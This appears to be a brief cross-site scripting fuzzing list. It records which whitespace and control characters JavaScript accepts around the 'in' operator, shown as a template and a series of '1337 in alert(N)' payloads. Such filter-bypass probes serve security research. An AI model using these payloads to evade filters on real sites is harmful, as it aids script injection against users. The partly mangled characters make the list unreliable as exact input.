Characters allowed between in operator
1337$[chr]in$[chr]log($[i])1337⟦00⟧in0x00alert(0)1337⟦09⟧in0x09alert(9)1337
in
alert(10)13370x0Bin0x0Balert(11)13370x0Cin0x0Calert(12)13370x0Din0x0Dalert(13)1337 in alert(32)1337 in alert(160)1337 in alert(5760)1337 in alert(8192)1337 in alert(8193)1337 in alert(8194)1337 in alert(8195)1337 in alert(8196)1337 in alert(8197)1337 in alert(8198)1337 in alert(8199)1337 in alert(8200)1337 in alert(8201)1337 in alert(8202)